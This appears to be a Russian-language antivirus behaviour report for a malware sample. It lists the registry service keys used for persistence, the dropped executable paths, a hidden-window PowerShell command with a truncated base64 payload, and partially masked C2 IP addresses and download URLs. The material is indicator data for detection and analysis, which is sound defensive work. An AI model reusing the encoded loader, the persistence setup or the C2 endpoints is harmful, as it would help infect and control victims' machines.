Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\regini] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\regini] 'ImagePath' = '"%WINDIR%\SysWOW64\AltTab\regini.exe"'
- 'regini' "%WINDIR%\SysWOW64\AltTab\regini.exe"
- 'regini' %WINDIR%\SysWOW64\AltTab\regini.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IABzAGUAVAAtAEkAdABFAE0AIAAgACgAIgB2AEEAUgAiACsAIgBJACIAKwAiAEEAQgBMAGUAOgAiACsAIgBEAEEAVgBGAHAAIgApACAAKAAgAFsAVAB5AHAAZQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADUAfQB7ADMAfQ...
- %HOMEPATH%\tgw2t8v\tiqo6he\vh5th3v.exe
- %WINDIR%\syswow64\alttab\regini.exe
- %HOMEPATH%\tgw2t8v\tiqo6he\vh5th3v.exe в %WINDIR%\syswow64\alttab\regini.exe
- '19#.#45.25.228':80
- '98.##3.204.12':443
- http://www.sa####apparel.com/wp-content_old/whE/
- http://19#.#45.25.228/1Ea4ejTXPe/r6vWMvIbOeGyPCmyQ/rw6zP6V/hpncNRllDa6N0lerHG/TN7k5AE1TN5Ayzh/
- http://98.###.204.12:443/I6Dg7eOT6elZkaSepmu/7khV8Ox5lPhGNls/ via 98.##3.204.12
- DNS ASK sa####apparel.com
- '%HOMEPATH%\tgw2t8v\tiqo6he\vh5th3v.exe'
- '%WINDIR%\syswow64\alttab\regini.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IABzAGUAVAAtAEkAdABFAE0AIAAgACgAIgB2AEEAUgAiACsAIgBJACIAKwAiAEEAQgBMAGUAOgAiACsAIgBEAEEAVgBGAHAAIgApACAAKAAgAFsAVAB5AHAAZQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADUAfQB7ADMAfQ...' (со скрытым окном)